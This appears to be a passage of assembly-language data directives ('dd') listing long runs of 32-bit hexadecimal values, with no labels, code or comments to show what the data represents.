0A0E764DCh, 0B3F9420h, 16500624h, 45094FF8h dd 0A08E672Dh, 2F863C68h, 12B707E9h, 80D05A38h, 0CC5D7EBBh dd 0B9E213F6h, 81A49301h, 55B718ACh, 8C608900h, 0AA076B1Dh dd 39CD6640h, 44EE4Ah, 0F3AC20C6h, 58130A46h, 10211B09h dd 5D8C8798h, 41C580A0h, 0BA520064h, 9B73E776h, 6E1F8716h dd 100E853h, 84EAC60Eh, 2CD800ACh, 0BF7FE9B9h, 58984691h dd 318BE8A3h, 1ECE4498h, 8BD69E28h, 8CBBFC00h, 3092C5E2h dd 0DF030022h, 0D714AEA5h, 9900EEF3h, 43F455A9h, 90B41EA7h dd 85715Ch, 9ECF6974h, 0AE0BA30Fh, 536D6F02h, 0C0B55F76h dd 9F3665Ah, 4AAFE49Fh, 0ECB38600h, 0AC3E6CB1h, 64B08FCFh dd 7AEB6091h, 0B4FFF5h, 0D0197347h, 2D4B6AADh, 7C6D7401h dd 2B55CD7h, 421560h, 7D230BF0h, 28B970C5h, 5D679500h dd 0FB371B71h, 5A87E6Ch, 0AC4BBFA9h, 0CDACC099h, 0D6004D38h dd 88CDB8Ah, 743EFDEh, 59FB8D2Dh, 78F04187h, 6758C0BFh dd 0A2E1821Ch, 0B030D400h, 0D3E553Ch, 0BD9AFC1Ah, 0C7C2C8F8h dd 6F4BE400h, 8977045Ch, 0B74E001Ch, 0CA9AAEDh, 0C501B1B6h dd 0D5B43F6Ah, 89FCE339h, 0D7A0007Dh, 0F92C70F4h, 0C902160Ch dd 9253799Eh, 0C24C004Dh, 75F82BE7h, 12680C3Ch, 3C001783h dd 0FFA8B5CEh, 12CB03ABh, 9C894AF8h, 0D82287F0h, 0F1988A00h dd 0FA73787Fh, 0C8CE5130h, 0C0402A21h, 0F49409E7h, 89C700FBh dd 0B61BF3C3h, 0D4008F79h, 3ABC594Eh, 0B89F0366h, 8342012Fh dd 3BFE35E7h, 45F08B17h, 0C87E0A5Ch, 0AA87E100h, 29777Dh dd 0BACEE3DCh, 310EBFDFh, 0E86F5900h, 2ECA1AC3h, 0B83B07E1h dd 62EC49D6h, 9840EEB6h, 5B3A088Bh, 97300038h, 40BB9474h dd 245DEE78h, 0BC3EE3h, 3F00BF5h, 460022E5h, 578E9793h dd 2C1C6Ah, 143EC4A2h, 5DD4894Dh, 0BE00CCB8h, 0DB763B68h dd 0F0DAF8h, 1AEEBDB6h, 0B12C4A32h, 0A30025E4h, 41E36891h dd 0D36F19h, 98FFDF59h, 0DC04D8B5h, 6B96F70Eh, 601CEEC0h dd 5E68251Ah, 535A14ECh, 0FA00843Ah, 5BB15075h, 5F2693F3h dd 79002AE6h, 23E59125h, 44955862h, 8D80C803h, 0E2D946B7h dd 18A824FBh, 5CD6CC16h, 0A05FC000h, 177C2FAh, 7DD8D3A6h dd 539D1BB8h, 0F20013ACh, 0CC86779h, 0A0994A7Ch, 7D47ED80h dd 0FAF21Ch, 5EA516F2h, 0B76656BDh, 0BBDA4812h, 0EFC7141Ch dd 0FDE0FC99h, 93B3763h, 0E15BC38Ch, 85B00B00h, 0D4002FACh dd 0C26E3343h, 3D06BCh, 414850CAh, 92F318F9h, 3858F092h dd 39741487h, 4C6E2480h, 45D7E803h, 0C848071Eh, 0B065167Ch dd 8719A93Fh, 0DBCE640Ch, 3A723034h, 0B217781Dh, 0FABD008Bh dd 0BBD14999h, 642E5800h, 3F7FCCDAh, 0B889263Eh, 491C005Bh dd 5508EE5Ch, 4F2A8100h, 77922769h, 0B3520AC7h, 98A338h dd 0A93C8015h, 4F3A0296h, 0C5550013h, 0B1AFF7A6h, 14047FD9h dd 9CBF95EDh, 5D16DD00h, 7305DB89h, 25E4B800h, 0B5AC869Ah dd 0AF0D01CDh, 8FBA66EAh, 90207005h, 5E777500h, 74C431FAh dd 2245004Ch, 0C9E2FF27h, 0EF039607h, 3461E74Bh, 8E0C4E9h dd 920C804Ah, 4D506B00h, 7BAFDF72h, 5627DA9h, 6C326DCCh dd 3AAC43DCh, 40A4F0D9h, 8881D5E5h, 5D70098h, 0BFF30359h dd 89EA6077h, 730006ECh, 682C225Eh, 40555Dh, 74CCE617h dd 50EEA602h, 8B2E051Ch, 818F03C1h, 41C0F92Dh, 0E450B0Ah dd 780FACB5h, 483EEE60h, 0CBEA9A65h, 8A0C5BF6h, 20AD889Fh dd 3FC00CFh, 0BAED3038h, 85008E50h, 87341524h, 0F6470CADh dd 0AA57071Dh, 9060D698h, 4C9E59E8h, 0C1009898h, 0F5BC38CEh dd 3EA55535h, 0BE2063BFh, 783A8100h, 0D459C37Dh, 22EF0088h dd 0E22EC96Bh, 64000942h, 635C0A3Dh, 7D1723F8h, 0D9E70072h dd 9BA7CD54h, 5007F948h, 37918E55h, 7470ABE0h, 14190A78h dd 0A05F59h, 0F5FFF208h dd 1D00B125h, 8DE08FC1h, 5E0DDEh, 6541F981h, 6DFF56B2h dd 0A0D21200h, 6FA518C8h, 63F475h, 0ADE4EC21h, 585CD57Fh dd 7DEB5Ch, 4D6AA18Fh, 0A0F4F1C5h, 984270D8h, 0D350071h dd 0BA8C2173h, 54906387h, 80CE1B3Fh, 0DEE29A4Dh, 901EACF6h dd 551126A1h, 8D04005Dh, 721ADF66h, 0C13B2700h, 0C6EDDD32h dd 7EA312A4h, 5608043Fh, 1688E001h, 0BF32CE00h, 51241C8Ch dd 0E7EF0044h, 4B330991h, 0A63B4D0Dh, 5ED900DBh, 941BD518h dd 23EE0074h, 4B568330h, 0E9E37729h, 699C20A8h, 0BEA7FC02h dd 7853863Fh, 7A490048h, 1CA2F847h, 0EE1C9B57h, 8A928001h dd 17F17080h, 0F814485Fh, 0E6FB0B00h, 9D2CC70Dh, 635B4E04h dd 0BCD3315Dh, 80C3980Ah, 0D8C1006Bh, 77B4A53Ch, 660011FEh dd 9C286D04h, 8DD3B7h, 182348EDh, 6C27C6EAh, 6F29F12Eh dd 9A145800h, 0F2A128ACh, 0DF2F007Eh, 4B8C0D2Bh, 0D7037631h dd 0B8307496h, 0F4F68833h, 1DE00F2h, 5CD0DBCCh, 48264643h dd 0E747F016h, 3D8B650h, 5145022Dh, 1102B1D2h, 4BCAFDC0h dd 9B46E8A0h, 0D45B4024h, 0B394E080h, 3541FFCh, 0EFBA3CE1h dd 88982E89h, 7AEAB4AFh, 48C1F700h, 453C9E3Bh, 26E000ECh dd 7D1A4105h, 0B4240D5Bh, 3D00A8B1h, 0F9274FEAh, 161501D3h dd 0CCC1AC2h, 7AE52037h, 7EDB2F00h, 0A58936B1h, 8F0600D9h dd 39DE14BFh, 3500FAD7h, 403F73EFh, 53799D4h, 0E7506433h dd 6ACC00B3h, 3796826h, 785B6300h, 0B481CBBBh, 0D3FD0011h dd 6B1C4170h, 0A800EB36h, 0ECBE4E44h, 725D12h, 0D41EA024h dd 299B61B1h, 0D0D2A600h, 0DC31C70h, 7B5D123Bh, 31DC0519h dd 67FBC0AEh, 320302D6h, 95121C33h, 4051923Dh, 2A4FB4h dd 8EB5DCABh, 0C33A6910h, 4BAE7900h, 6AFBBEBFh, 19E029h dd 5ED716ADh, 148E66E7h, 0A13D9800h, 0DD6956AFh, 0EEF80EB2h dd 2C00A817h, 0ABF74E77h, 8FE64409h, 13B0A5E9h, 2A7A9080h dd 0EC5B4C3Eh, 1E123C3Dh, 0A99707AFh, 0CB749090h, 3A3871BFh dd 9D4BB828h, 0E900B8F6h, 11A5913Dh, 2C95E69Ch, 900A726h dd 1480EAEDh, 0B2401C2Dh, 7FA8ACA0h, 0E412D026h, 836D2B40h dd 0B6D90090h, 0C25D84FDh, 8224C85Bh, 0F00F7CE2h, 57007F0Bh dd 8535E183h, 6E902472h, 5EB2006Ch, 98FE0461h, 1C78E400h dd 0E089A395h, 814200BEh, 0C9FD9C9Dh, 6400B05Dh, 8A6D952h dd 3E1F6105h, 73ACBD49h, 3601BB18h, 28ECC6C7h, 832EE803h dd 97FC90B2h, 7ABC8C00h, 2FA7F8D8h, 527D00EAh, 6AE432CFh dd 0FB098128h, 0C0261CC4h, 7E0E2998h, 67091D9Ah, 0D7CE403Ah dd 63F99351h, 6FBAFB03h, 0A0236AE1h, 0B82F6243h, 0A3D5008Bh dd 9733B124h, 5F000B51h, 0AB67A86Ch, 4CE52766h, 0FA0010F3h dd 0B1809798h, 0F8009EE9h, 0C7860809h, 0DEED3Bh, 17BBC35Dh dd 0D88464B4h, 9F60D970h, 9DBD2016h, 18FF4883h, 1434D100h dd 0B372F79h, 49153CCFh, 7F6500C7h, 0ECA05EFh, 18E1DA0Eh dd 0C4A6F3A0h, 3C020C88h, 0C2E7AB58h, 936048F4h, 56AA1CA4h dd 8C67C082h, 603F9214h, 20FA1769h, 7952DB80h, 30F23C86h dd 0D006C30Eh, 0B2300052h, 6E0CFAE3h, 3AC4BD00h, 0F046CD63h dd 9338DEF2h, 0A0780E09h, 9CFB3D40h, 2304316Ch, 775A14D5h dd 3F043080h, 0B2BF009Dh, 4D87F725h, 0CB1D4B39h, 0BAC38F8Ch dd 0C8210EFBh, 12B8F563h, 260E6h, 57725597h, 88C04A12h dd 0B573A233h, 0F56E0166h, 0EB4E6B7Bh, 6562053h, 8AD5D20Fh dd 0CC502038h, 0FCABF1F6h, 0BEDE8B4h, 0B897128Dh, 559A34A3h dd 1062918Ah, 3120BCC0h, 44D8C200h, 828C46F0h, 0DA75F5h dd 0D6C96169h, 9BC1856Fh, 45D0AB00h, 3BF714B9h, 7F3A389Fh dd 57C65B85h, 1D7080DFh, 9C006498h, 0CD6180A7h, 0EC3BB468h dd 2B2D1C50h, 584E007Bh, 0ADFC3AB5h, 47020B90h, 0E9D86A6Bh dd 4CA470FEh, 0CC01D95Bh, 92F85CEh, 11FAD806h, 0AB9E8200h dd 48E573DDh, 0C49E15h, 71725334h, 0CA01A91Eh, 0D267A3E1h dd 49FC6AE7h, 88F4B1h, 276F7237h, 5898332Ah, 0FE215700h dd 5D909DC3h, 50C70348h, 10CA25DFh, 5AD891D3h, 0FD03E24Eh dd 89D8474Fh, 24B9808Ch, 445C3E60h, 8D3A2300h, 2670B677h dd 15C76B03h, 98B9D60Eh, 78FF5Bh, 592E143h, 7E247931h dd 445F6E01h, 0F951E284h, 0BEE9C440h, 9815009Fh, 0C60B2503h dd 0E4F8C022h, 0B9B21014h, 0A90400A8h, 50EFC853h, 617C00ADh dd 7E335FF1h, 85751F3Dh, 2D3E2C17h, 5DDCD000h, 4FDA783h dd 897781A1h, 0F6C0A0B8h, 366FBF01h, 0CE5B3C79h, 255EE4D0h dd 0EC83D5B2h, 0D9E34C73h, 499759E0h, 14F549h, 0B6BE20CDh dd 3A26947Bh, 5B0FF3D1h, 1A2006D8h, 0C781F750h, 0C30079E2h dd 3473C662h, 0E8B38B5Bh, 9A3E30EFh, 94A3D048h, 0DE608303h dd 2C7118Fh, 5A79D829h, 38A04897h, 0A3B6BDF9h, 0E82BD380h dd 0F1D10350h, 0F63680B9h, 11882814h, 0EBB006Ch, 0E1216CD5h dd 13682D24h, 0C0061F4h, 0C202F10Fh, 15420F7Eh, 4D2003E8h dd 0E7EA7CF5h, 946C8D00h, 0E6EEAE88h, 177F0559h, 0A0E9016Fh dd 69009FC4h, 0AF385786h, 663EBAh, 0E5516188h, 8DE27720h dd 8F429300h, 7EA729D3h, 698138B9h, 6ED8A060h, 6D1BC6B7h dd 0E051A071h, 740ED299h, 57410032h, 8F267C6Ah, 21C0BB21h dd 323DEED5h, 7AF40084h, 337C9A11h, 810EDCB1h, 0CAD7B997h dd 6008437h, 0D853390Ah, 0F190023h, 8C30CD22h, 0D0739A84h dd 0DA9B6B00h, 8320AE42h, 54263ABEh, 1974450h, 6CBF4D4Bh dd 0DC424E3Ch, 0B90E12BAh, 0A1D5AA7Ch, 1D773F81h, 0B446FE0h dd 0C471460Ch, 2FA97300h, 353AF473h, 80793923h, 83300D02h dd 0EEA578Fh, 0B55EBEA9h, 20721F86h, 30054D00h, 69CAAC1Bh dd 7F39073Bh, 0F749F4Ch, 0B604B40h, 3679552Ah, 220E0C00h dd 0A5FA7601h, 236C3C1Eh, 4F56D300h, 0CA616046h, 9F0290Eh dd 79909DC9h, 4EFE5C00h, 0C7606915h, 809BCC3Bh, 0F0141138h dd 7D732299h, 0F89F0F02h, 44A0A96Fh, 140F0E47h, 52292307h dd 3DC67073h, 522478D1h, 0C0170FBh, 0EF8F9430h, 68010BE9h dd 9CE13004h, 0D57EF0F2h, 58FF2D06h, 701DDAh, 0F1872524h dd 61471410h, 7DC55F20h, 0C312F838h, 21B96B88h, 3B6D1900h dd 45230E54h, 0C82F608Bh, 6FAC4E47h, 7182916h, 740CAF03h dd 28C000FDh, 0BA6CBD2Dh, 0B81C3CE6h, 9E408BFBh, 51D80E1Fh dd 26C6005Eh, 0E96B73F2h, 8003ABF9h, 9918D004h, 0E085CA1Ah dd 736195h, 88C51732h, 40E6E88Eh, 38316760h, 0D37980h dd 345B0487h, 0D799243Ah, 0AC6A6606h, 1828431Eh, 30093642h dd 3400BF81h, 970D6CE3h, 7C54EC6Fh, 0C44707FAh, 0CF1BF0h dd 7C967578h, 0C155AF2Fh, 0CDCC9787h, 0E8100B6h, 0CC53ACEAh dd 482E9F37h, 980797B4h, 0C340CEC1h, 1572583h, 908EBF03h dd 0C0EA81B0h, 10008A3Eh, 0E933D9FAh, 11BE878h, 46D266DBh dd 0C8E7E6D1h, 5D01BBC8h, 418397D4h, 3092B516h, 60C0ACE5h dd 0B6266218h, 22F91DEAh, 3600FC2Bh, 1DB2B7DAh, 0FE004C92h dd 49684154h, 18E653EDh, 30800E1Ch, 6314B964h, 1C94D9ADh dd 1870DCF0h, 72B7A2ABh, 8A38003Ah, 63E678C5h, 1D00CEF4h dd 0C43160FCh, 87619h, 4606583Dh, 0F63BAB5Bh, 260759F6h dd 7C619A2Dh, 7EAA41C0h, 17973CEEh, 0A0AB04D2h, 1F50B05Ah dd 0AE800509h, 4CE70075h, 23A3B30Bh, 42B6040Fh, 0FB6B4011h dd 17780669h, 15D10A6h dd 1A0E4C51h, 7723F0CDh, 499094B0h, 92ACC00h, 0C04F96C3h dd 6CDDC9h, 3B036B1Dh, 0ED076A20h, 50A2D43Dh, 0F36100CFh dd 1E9CCD13h, 0BA71014Eh, 0A17F0700h, 90B29764h, 992C4B06h dd 4C1FE0h, 0B37A5169h, 1E91CC43h, 407EF7Eh, 31F1F9E1h dd 0DAF8B860h, 0BA683CEEh, 6D28B931h, 48A5101Bh, 503C8019h dd 28474689h, 80461DD4h, 0D0222975h, 7FA32251h, 0F63CB550h dd 0F4294F64h, 94528621h, 828C179h, 10EC5CD8h, 37E886C8h dd 505D5029h, 29BDED2Bh, 0A2252A2h, 809424Ch, 1017BB59h dd 367084E0h, 441FE544h, 0A85DAC5Dh, 44C73278h, 8313F129h dd 58791142h, 632408F6h, 204D08B4h, 0EB2EE400h, 0FD0866h dd 0CAF37ADh, 10CBE087h, 6ED1ED00h, 0E5166AD5h, 58571E49h dd 0CAB54390h, 93908D95h, 0F6023F4Bh, 6D44EC0Bh, 0D0F660B6h dd 4D670021h, 0FEE63D52h, 0C900EB61h, 8A5578D1h, 3C20BE92h dd 828F7781h, 7C0671Dh, 3BFAF198h, 0BB1C7600h, 2C1F4808h dd 0ED3A0FC7h, 809C3E17h, 1B81218Dh, 4C734BB4h, 83D09100h dd 5A1182Ah, 4245006Dh, 9D1C74F0h, 4F00F720h, 8459481Ah dd 0BF52D2h, 0F30DCACh, 0C8EC2DDAh, 41D9B100h, 0A1C51C26h dd 18567AD5h, 98BB051Ah, 0C160404Ah, 81CA8920h, 37E000CFh dd 62C3CD9Ah, 613A182Ch, 0F7A39E75h, 0B1CA0280h, 7A4999Dh dd 69309E5Bh, 16BF20D7h, 5D00480Dh, 93B768C1h, 3EDDDE0h dd 93BC97Ah, 8EE8CBEBh, 0C3732153h, 5527300h, 0DEBB0D0Ah dd 0DF6716B7h, 0F0A4108Ch, 9939BF02h, 9C430836h, 73EDB1A0h dd 0AD699C00h, 0DDCA8B88h, 0D5FAEEh, 3B825085h, 0FA30E62h dd 401D303h, 0A07BE4CDh, 60DE83h, 939CE222h, 0FEE5D092h dd 0A9643202h, 8189F266h, 0D9DC86F8h, 2D9870h, 5ED29C1Dh dd 704F9418h, 0CB67F61Ch, 1A6B9B00h, 1ECAFE2h, 9C026CAh dd 0C10207BCh, 0FAF08081h, 99AFF752h, 3A401B1h, 4AE0AEB5h dd 36C2D80Eh, 0F326221Dh, 1F63CE00h, 1AE2C79h, 0BD57B9D6h dd 47645BEEh, 83E233EAh, 0BF8FDCE8h, 4FE3AD00h, 0F888E724h dd 51330081h, 805D9FA8h, 1A035E0Ah, 0EE600DC2h, 0E8FB981Fh dd 0DBA50FB8h, 0D7C0DE08h, 3E4074ABh, 419F5B00h, 1F15661Eh dd 125003Fh, 5D206A0h, 4E0F65B9h, 414654FAh, 0A1BE7E1Dh dd 1EF35E8h, 0BF7D6722h, 0C46101ABh, 0C4010232h, 0EBDCEAD9h dd 0CEE0A282h, 33A507EDh, 77370F69h, 1DC0FD1h, 8D415CFCh dd 9080F64Ch, 0BF39F46Ah, 20FB9C00h, 3E25B867h, 0D97752h dd 0F9CD3B26h, 350E7CE9h, 3C33D424h, 0BF72003Dh, 695D45E4h dd 57D71FC2h, 6576409Ch, 0DFEE6AD8h, 2110C0Fh, 780A4082h dd 12097Fh, 97046EABh, 0CA28796Dh, 5500700h, 0D749BC0Fh dd 57F642h, 533CDC9Bh, 6DFEB436h, 1E5AD01h, 9DEB4A6Bh dd 9B3389Ch, 26005210h, 0FB4CB7F5h, 113E0C01h, 0FCD280ECh dd 0B2F020h, 0E667AF92h, 2A40895Fh, 1DBAB803h, 0C87DC478h dd 107309h, 2FB4447Ch, 0F028536Eh, 3D0E8800h, 0FDB37B5Bh dd 421F002Eh, 0ED24F371h, 80025863h, 0D394E847h, 0CFF080E5h dd 60778A0Dh, 8E16F868h, 40002CC9h, 58D3CA25h, 776E324Fh dd 0CFD00FF9h, 0D720EBB4h, 34E9062Ah, 4ABF803h, 0A9CCF115h dd 88D8968Ch, 146098B6h, 0F0B871ADh, 419E0680h, 0BF2A19Fh dd 54D51800h, 1E9029A7h, 2BCB008Fh, 0CF90F67h, 24008378h dd 0FB452661h, 70A1CEDh, 0F33EA96Ah, 9B20EF4Bh, 9680BDE7h dd 465E8700h, 0D2336BBh, 709400E6h, 4E9AFD69h, 74007A05h dd 38B980CDh, 0FF1688Ah, 4AD29914h, 6925340h, 8E0F1BC4h dd 879E49E9h, 0E310632Fh, 0D451C0h, 3FE547Ah, 0EC1AEA2Ch dd 15E22100h, 0C705FD84h, 3EE30073h, 0A7CFE797h, 0AD0F3BBCh dd 0A18CF135h, 7EC311EFh, 0E9EC3531h, 52191E71h, 0E461436Eh dd 5CD08FD8h, 3E011173h, 4E584F39h, 0F4E27A9Bh, 0FAC0EAAh dd 0C58EE920h, 3B5BFF8Ah, 9029D1F0h, 727448h, 0C3F7D0E4h dd 0A75F5627h, 770F4BEEh, 0A0B05D9Eh, 25BC3E78h, 0ED5C0721h dd 0A4FA1C2Fh, 551F8048h, 0B9005F6Ah, 3DFF894Eh, 37B50B5h dd 65702752h, 2E01968h, 5800859Eh, 0E3A6425Bh, 387C389Ah dd 0DC00F013h, 0B7960D4h, 0E50056C1h, 31FDA207h, 0E382D8h dd 0BD26634Ah, 51D47BF8h, 7ABA3Ah, 0D16FD921h, 0AF73A8h dd 1BBE5BD7h, 6303F0E8h, 0B00C5F00h, 580A7119h, 7C3400B7h dd 0FB25F835h, 0D7029A2Dh, 57A4E127h, 4670407Dh, 0B5350036h dd 0B14332A1h, 6901225Fh, 0BC658F68h, 0EDD0DE02h, 7C8E1C06h dd 8D3CC0EFh, 0A2FCF456h, 0D2C33B07h, 93778C9h, 89C7808Bh dd 1557131h, 0E06EA494h, 60C4DE39h, 630088A2h, 0DB30E95Eh dd 897586h, 5C7EEC80h, 5B9357D8h, 0CEE87A00h, 32EF857Dh dd 0F2C60055h, 350D5A7Ch, 311C88A3h, 0F48EEA95h, 0C06B479Dh dd 977BBF10h, 0BD960393h, 5DE332C8h, 0B9E153F0h, 5C6F700h dd 441CB2A8h, 4754003Ah, 0BAE6A1DCh, 0F500414Ch, 9B7376A4h dd 3A907BA0h, 2BBC9DDFh, 8800ACCCh, 74B5F7A9h, 0FB14F4E5h dd 24FCFE70h, 9C3C62ABh, 807FE201h, 2EA21FDBh, 54FD981h dd 0C92F3A5Bh, 808B00CAh, 71031D29h, 5B65332Ch, 0B1B45C00h dd 8B5D3Ah, 0AB7E51C7h, 67849946h, 0A31B560Eh, 9FBEE001h dd 0A43BAEh, 7A35A9DCh, 58EDE6F6h, 0F1C2148h, 700C08A0h dd 31699500h, 15A75130h, 976AF23Ch, 5D00E08Ah, 5D0AAD6Ch dd 0D27E00D6h, 0F046EEF1h, 14014FCCh, 0FC3EC53h, 0A3F4DED0h dd 66E20041h, 8E4B3679h, 0A501950Ah, 0D15CE33Ch, 0A861A101h dd 2FC1FCh, 867A6FBAh, 72601265h, 0D36E3400h, 95407B0Bh dd 935A0015h, 86C2BA7Fh, 80EACE05h, 0E56E5D1Eh, 4679DDC0h dd 0E857E7h, 45C3B2A3h, 10476D3Fh, 2BA0D01h, 356FCD98h dd 9878E3FAh, 0FAEF3D5h, 0F27D4A48h, 88A9DF40h, 0D700E3EBh dd 0B9FF493Bh, 14B9794h, 9D6FFD71h, 3A30C592h, 6AB1EC00h dd 51E34Fh, 6E610F83h, 16C51E4Dh, 0F0006BF6h, 282E3DD0h dd 3BE31998h, 0CE80DCEFh, 3EB8570Ch, 0BB00FE64h, 0D0B28D78h dd 1FF3336h, 5E6D8B59h, 40D6CD81h, 13CCCEF4h, 7DEA7100h dd 8889491Fh, 0B3180579h, 80AF5A66h, 0D34F7A26h, 4B404506h dd 3E9EF7E2h, 52002A77h, 0A8C8B018h, 9205F6D1h, 276CC9EAh dd 3ECF407h, 118F2941h, 2860430h, 15C1FF52h, 0C8686D46h dd 994C2F7Dh, 0AB23000Ch, 90B85E69h, 0F076EE60h, 0BCFD2630h dd 9BCE00ACh, 43650253h, 5FA2700h, 0A3361A45h, 3AE700D5h dd 5B871E50h, 120734D3h, 0B1493F1Dh, 0DC5F3920h, 807C013Eh dd 2F1A9B7Fh, 9412D404h, 0BE88800h, 0B52E3B1Bh, 60A6040Ah dd 0C09FDCCCh, 325B3534h, 6F106500h, 979953B7h, 96BC01EDh dd 0F4DF08E7h, 9F8C803Bh, 4BD3494Dh, 0BA3E1F6Ah, 28AC354h dd 1A982D76h, 0A30151B7h, 0B6C673F4h, 0BEE886E6h, 0BF3F00EBh dd 0C1DF3902h, 81036414h, 0E97F7AC2h, 0B3B8057h, 0F8CB0FBBh dd 0D36AD0h, 0CD454024h, 0C00186AEh, 0CEED961Eh, 0A44472A9h dd 0DB1A80BBh, 6C0059ACh, 8D507EDAh, 0A0981BB4h, 282F57A0h dd 0C4109Bh, 74CDF61h, 0E81AFD12h, 0AA27F900h, 0AD39D25Fh dd 819E0B60h, 5D8626CBh, 7800F0BAh, 0C228F0A1h, 9D025h dd 3C4A1B44h, 8C23EA2Eh, 8B808503h, 0C8BC467Dh, 34FDDh dd 0BD464D6h, 0C49FF982h, 0C1CBAC00h, 73295737h, 6E8B002Bh dd 1B9434Fh, 9209CA9Bh dd 33F461Eh, 4EDE95h, 4C743418h, 0AB9A8F43h, 0E71DD600h dd 1FBDB7C3h, 0F8550010h, 6242F696h, 7100A498h, 1D03C926h dd 3F8FDAFBh, 0F7013590h, 0D5DCFF7Bh, 0D38860BDh, 5ECD3000h dd 9B623445h, 3E698D2h, 8C7BAA56h, 328F52C7h, 3C6081C1h dd 0A30057ABh, 0F7A7883Ch, 263077BBh, 4878834Ch, 53350BF4h dd 0C420900Eh, 0BA8BF419h, 0E2570B00h, 0C7746F6h, 0A76E00F1h dd 98548231h, 0E00E9E48h, 631BC163h, 0C07149E5h, 0E6F7BE26h dd 0FEDE0047h, 0CDF69925h, 5A1E4587h, 2E80BC39h, 52683C5h dd 48C9007Fh, 8D729CCEh, 7E00DB19h, 64FDA01h, 0A6A3DCh dd 0BAEE61E9h, 0F7D77125h, 13475C00h, 40C68A79h, 0BF1900F2h dd 41255301h, 5C00D3A3h, 7DFAA9F8h, 7E2719Fh, 55862FA0h dd 0A4736069h, 0A71C082Bh, 45009E5Ch, 0F0AF6777h, 179675EFh dd 178298Ch, 61043180h, 151DF8E6h, 9C71F802h, 85A2F435h dd 80EE95A5h, 604EA870h, 48EAE124h, 5B0EFA80h, 0D86577h dd 39562A85h, 80254086h, 24009B76h, 2CECA6BFh, 1830F15h dd 3CFFE5BAh, 3084AC43h, 9413D6FCh, 7056145h, 0AC07BECh dd 1FC2BC7h, 4B6F6CE8h, 0E4410775h, 0CD1FF036h, 0CE061062h dd 4CB87BA4h, 0D3000046h, 0AC550863h, 77007FEAh, 0BDB65B4Ah dd 1DE961Bh, 926D5ED8h, 0D7473061h, 8CC2FDF0h, 0EB533A01h dd 0B208D8Bh, 3883A2ECh, 7C9EAEEAh, 0FEEF49B9h, 0D149DA80h dd 52005C99h, 19889615h, 0A0E3F5E9h, 1C906F7h, 0EE289DDAh dd 0E121ECF6h, 78DC200Dh, 8CF4FB03h, 80C1AC62h, 7E484D0Fh dd 34C200CDh, 0F8BCE96Bh, 0BA0F98B7h, 83215F99h, 8ABEF715h dd 0D14390h, 73143A10h, 3203879h, 0E7B1BF28h, 0BA5E8EF9h dd 695E4FDDh, 0DAC4810Eh, 0BCC0656Eh, 0B4EC033Eh, 30938C51h dd 94525790h, 38E64Ch, 72D465F5h, 12E3A7Bh, 15FFD70Dh dd 80601BA1h, 0E3CCEB20h, 0CC96BDF1h, 0E16679C8h, 8EFC34EFh dd 3E183775h, 9820B1A2h, 69A601DFh, 9F8FCD7h, 0F4E03B41h dd 307360C6h, 96F7D2B7h, 0F08DB00Eh, 8B903A1h, 21F6BAh dd 5031343Dh, 9E15DE78h, 0E214A702h, 64F669FCh, 53B800D4h dd 553E83DBh, 9906DC58h, 79549B1Eh, 3B8900F8h, 0C7071F64h dd 0E312A7FBh, 6C03E4BDh, 0D132E9A5h, 4220655Ch, 715A00EEh dd 0C18D8791h, 0F302D8B4h, 5E3F856Dh, 96C8688Eh, 0AA1B1CDDh dd 27DCC1CCh, 0C49B4645h, 2B7C104Eh, 93D7D04h, 0D0D00E91h dd 935BEA9h, 39F48195h, 2BF89C43h, 0D4EE364Dh, 42A0EC00h dd 942FBE05h, 23550099h, 2CFC7E1Ch, 0F754FA3Eh, 0B001ADB4h dd 0F9EED73h, 0FCD89004h, 4D490053h, 0DB0A94A1h, 0B9C0DE19h dd 16E65DCAh, 6910223h, 0A334EEE4h, 404CF460h, 4697A500h dd 6948502Bh, 0C70965Ch, 0BCA8BD1Dh, 5D93DC3Ch, 0D8A90EDCh dd 77590087h, 0D36429h, 0C19E7B21h, 0FB31CD85h, 0BADE0C00h dd 782AFE9Ah, 89D300ACh, 7A07C928h, 0C306C8F8h, 0B30AA2C2h dd 0BF522BC9h, 0A2D38034h, 0F1F9B9FBh, 0B10E801Fh, 53248B00h dd 1C2ACA8h, 18CEDDE6h, 5283B6F4h, 5B60F52Ch, 680775D4h dd 0C511C17Fh, 445558E0h, 1CAEC32h, 0A773C2E2h, 0F464DC85h dd 607A0686h, 9789B000h, 94B26731h, 567B00F2h, 80BBF8BAh dd 1E3AEC0Ch, 5DA50FB6h, 0BF150036h, 316E3Bh, 52134802h dd 0ECEE2477h, 74505E09h, 9D0800C5h, 277063h, 6C366B33h dd 802B6149h, 7AD14202h, 0C01AAC56h, 75C20A32h, 178C1F86h dd 0A7644058h, 9C27A9FDh, 0FEE87E01h, 8577A57Fh, 304BC3D0h dd 5BB08D03h, 0FB009654h, 4A82F7D5h, 8478C9h, 0CD0EEF5Eh dd 159A128Dh, 0C834A303h, 0C4CB5Dh, 16536350h, 6EEDAFA1h dd 0CDCE8103h, 0C070824Eh, 0B813B011h, 9B600C1h, 43E19C30h dd 0AB0C9F19h, 78743C92h, 0FCF90066h, 0C813456Ch, 0FE1D3783h dd 75C0EEDFh, 2920E5Fh, 508A009Fh, 0D5197EA3h, 2900C940h dd 85480ACDh, 990410h, 522BCCD1h, 0C2C5FF68h, 0C7A39650h dd 0A567DF00h, 0E2915C87h, 768A1F47h, 1C5EC378h, 7DF06EB4h dd 0FE02820Fh, 3D4FC62Dh, 0A9BEE847h, 0BAC40065h, 84490B6Fh dd 23037C81h, 2A4EC153h, 524097D8h, 7D17EEh, 62A6C843h dd 5550E808h, 0E8EF49h, 0C1B210F4h, 631F66h, 49810224h dd 38ADEFA3h, 0D0235400h, 0BF2B8B18h, 643600B0h, 0B8DC95DDh dd 0BA747D94h, 66815E00h, 78484EA3h, 7EFC9213h, 92170724h dd 0CECBDFh, 605DB1D2h, 198724Ch, 4F2EF29Ah, 0B4448369h dd 0B4000C94h, 3EA6C7AAh, 4938FCD4h, 0BB009029h, 0F81E966Ah dd 52EE01AEh, 7CABBE0Bh, 0B5D010FFh, 0EFD30306h, 0FCB0A5Dh dd 7F1C5001h, 0F99E5158h, 0B0A94987h, 7BDA20F7h, 0CC07481Ah dd 0C3A2A19Dh, 0CFF4E480h, 9CC74D01h, 74805C38h, 0CCF54937h dd 98A07117h, 6EB88972h, 80369038h, 0E8EDBF29h, 9D46D8h dd 0C0BCE787h, 435850CAh, 3ACB248h, 85D8BBAh, 1340007Dh dd 56C871EDh, 0DD010E22h, 9C0D260Fh, 7981EB61h, 54BF4196h dd 0C274E0A8h, 0E6F16F0Fh, 41009211h, 71928A28h, 7C23007Eh dd 0C36F47CEh, 4100DCF8h, 669889AFh, 